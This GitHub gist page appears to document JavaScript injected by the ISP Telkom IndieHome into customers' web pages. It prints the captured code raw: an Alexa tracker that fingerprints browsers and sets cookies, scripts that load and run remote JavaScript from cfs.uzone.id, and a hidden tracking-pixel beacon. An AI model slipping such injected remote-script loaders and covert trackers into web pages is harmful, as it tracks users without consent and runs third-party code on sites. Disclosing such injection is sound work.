Skip to content

Instantly share code, notes, and snippets.

@matematikaadit
Last active January 11, 2017 15:58
Show Gist options
  • Save matematikaadit/36b0588eccc1ed0c56bc18a8277e70a9 to your computer and use it in GitHub Desktop.
Save matematikaadit/36b0588eccc1ed0c56bc18a8277e70a9 to your computer and use it in GitHub Desktop.
Injected Script From Telkom (IndieHome)
(function(){var e={iu:"https://d5nxst8fruw4z.cloudfront.net/atrk.gif?",ver:"20130128",opts:{atrk_acct:"",domain:"",dynamic:false},fired:function(){if(typeof window._atrk_fired==="undefined"){window._atrk_fired=false}return window._atrk_fired},params:{frame_height:function(){return e.frame("innerHeight","clientHeight")},frame_width:function(){return e.frame("innerWidth","clientWidth")},iframe:function(){try{return window!=window.top?1:0}catch(e){return 0}},title:function(){return this.ue(document?document.title:"")},time:function(){var e=new Date;return e.getTime()+"&time_zone_offset="+e.getTimezoneOffset()},screen_params:function(){try{return screen.width+"x"+screen.height+"x"+screen.colorDepth}catch(e){}return""},java_enabled:function(){if(navigator&&typeof navigator.javaEnabled!=="undefined"){return navigator.javaEnabled()?"1":"0"}return""},cookie_enabled:function(){if(navigator&&typeof navigator.cookieEnabled!=="undefined"){return navigator.cookieEnabled?"1":"0"}return""},ref_url:function(){return typeof document.referrer==="string"?e.ue(document.referrer):""},host_url:function(){return typeof window.location.href==="string"?e.ue(window.location.href):""},random_number:function(){return Math.round(Math.random()*21474836747)},sess_cookie:function(){return e.gc("__asc",e.user_cookie_v,"sess_cookie",30*60)},user_cookie:function(){return e.gc("__auc",e.user_cookie_v,"user_cookie",366*24*60*60)},dynamic:function(){return this.opts.dynamic.toString()},domain:function(){return typeof this.opts.domain==="string"?this.opts.domain:""},account:function(){return typeof this.opts.atrk_acct==="string"?this.opts.atrk_acct:""},jsv:function(){return this.ver},user_lang:function(){return window.navigator.userLanguage||window.navigator.language}},frame:function(e,t){if(typeof window[e]!=="undefined"){return window[e]}else if(typeof window.document[t]!=="undefined"){return window.document[t]}else{try{return window.document.getElementsByTagName("body")[0][t]}catch(n){return"-"}}},r:function(){return((1+Math.random())*65536|0).toString(16).substring(1)},muc:function(){return this.r()+this.r()+(new Date).getTime().toString(16)+this.r()+this.r()},gc:function(e,t,n,r){var i="",s=0;try{i=this.gbc(e)}catch(o){}if(i==null||i.length==0){i=t;s=1}this.sbc(e,i,r);return i+"&"+n+"_flag="+s},ue:function(e){try{return encodeURIComponent(e)}catch(t){return escape(e)}},gbc:function(e){var t=document.cookie,n=e+"=",r=t.indexOf("; "+n),i;if(r==-1){r=t.indexOf(n);if(r!=0)return null}else{r+=2}i=t.indexOf(";",r);if(i==-1){i=t.length}return this.ue(t.substring(r+n.length,i))},sbc:function(e,t,n){var r=new Date,i=this.dom(),s="/";r.setTime(r.getTime()+n*1e3);document.cookie=e+"="+escape(t)+(n?"; expires="+r.toGMTString():"")+(i&&i.length>0?"; domain=."+i:"")+"; path=/"},dom:function(){if(typeof this.opts.domain==="string"){return this.opts.domain}else{var e=window.location.host;return e.substr(0,4)=="www."?e.substr(4):e}},gen_url:function(){try{var e=this;return this.iu+this.map(this.params,function(t,n){return t+"="+n.call(e)}).join("&")}catch(t){return this.iu}},map:function(e,t){var n=[];for(var r in e){if(e.hasOwnProperty(r)){n.push(t.call(this,r,e[r]))}}return n},cloudfront:{url:"http://cloudfront-labs.amazonaws.com/x.png",fire:function(){if(location.protocol=="http:"){(new Image).src=e.cloudfront.url}}},user_cookie_v:"",fire:function(e){this.user_cookie_v=this.muc();this.map(e,function(e,t){this.opts[e]=t});if(this.fired()){return}window._atrk_fired=true;var t=new Image(1,1);t.alt="alexametrics";t.src=this.gen_url();this.cloudfront.fire()}};window.atrk=function(){e.fire(_atrk_opts)};if(typeof _atrk_opts!=="undefined"&&typeof _atrk_opts.dynamic!=="undefined"&&_atrk_opts.dynamic){atrk()}})()
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKe0eOQBLfOSiF1nUoVrwkTYpHbJwCI83IMlv0tntERZzDvHg6FmqUiB0xe0qUfK2f7rGl4c0EVmMcNJe7qV8d9sYn9lVuha%2fQWPI49Vafstkn7lcHbE51g0llLiEjV%2b4gESNulCOAUcf%2fOwI1w7HjpHLfsPgBQO%2fVqwCsqQf2vDOWvh31h7xIVUPvxLfmgBGS6mtoxfL0Q3OxaSx24ajJCrFACoeXhGvwpn9pzRtG7WhSXjtZ%2bAQS%2b1dPuj29EM3qqQW2OVAUUtvKNJVq5PeJLhhphEYrA6vdB%2b%2fp8mUuWBLSfZuIpC7dPHV%2bpOdN0G12F6DEun9Znf6xgLXjBMbEzsqtJznMVdRnMLYzZfDoJblct%2bqkZ3rcktqnmFXrc7lEC79WTgOEliqi6Ps4xp6zMKigHsi4uD%2fXVTdsI6xiLC%2b91EVdOSnKGRRZReB7Tgfd%2byk%2fv%2fuWlgyWezP6kk%2fV7u8GNJiMJonVi5czZvJ1wOZTzs%2b9WAmyY0lFMyR7XZCb" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script>
if (self == top) { function getLog(url,success){ var num_r = Math.floor(Math.random()*999999999);img=document.createElement("img");img.src=url;img.width="0";img.height="0";img.setAttribute("style", "width:\"0px\";height:\"0px\""); var div=document.createElement("div"); div.setAttribute("id", "beacon_"+ num_r);div.setAttribute("style", "position:\"absolute\";left:\"0px\";top:\"0px\";visibility: \"hidden\"");div.appendChild(img);document.getElementsByTagName('body')[0].appendChild(div);} getLog('http://cfs.uzone.id/2fn7a2/log.html', function(){});}
<html>
<body>
<script type="text/javascript">
_atrk_opts = { atrk_acct:"m/hBm1akKd60bm", domain:"uzone.id",dynamic: true};
(function() { var as = document.createElement('script'); as.type = 'text/javascript'; as.async = true; as.src = "https://d31qbv1cthcecs.cloudfront.net/atrk.js"; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(as, s); })();
</script>
<noscript><img src="https://d5nxst8fruw4z.cloudfront.net/atrk.gif?account=m/hBm1akKd60bm" style="display:none" height="1" width="1" alt="" /></noscript>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKe0eOQBLfOSgfENE0aVQfLLP4Obuxsmdfz0Ue3T0GoRR8Opvn4eSV872fCnxVfoHdeZjjwck%2f%2bC55FE7SyGek7SHCZ56SiE5khNIBTZl3tFzUKXorzOzdC4LfH%2bZprwAv8yLxDe1d0WtO2ASLXAoL3H7qKAX0qFxf%2bbSksKC7XnSfeaZ96DZ0ba97HQwsDTbnWjVTdFwahN9lWKBKFMV9xrpjnoOnLZIACS8NvoqWVn1R5DTUc921Z%2bJ7VVD8NBx8jto60CZez6m26yNVP3mwvKFcRqM9zjxnVeeJul3er%2buDP8%2byFXmtfgRwjDmGhxVMl7ykyQLLsQ8cMtQ2%2fQljBCcoYyR1eOSzOfQ%2bDBFZlCq2TEUf2SrejZgMBfhzfB7rDPlJhtPmmuPdHqLs3HsYk2pDq%2fuYTL6f9K6SrfSoLtA%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment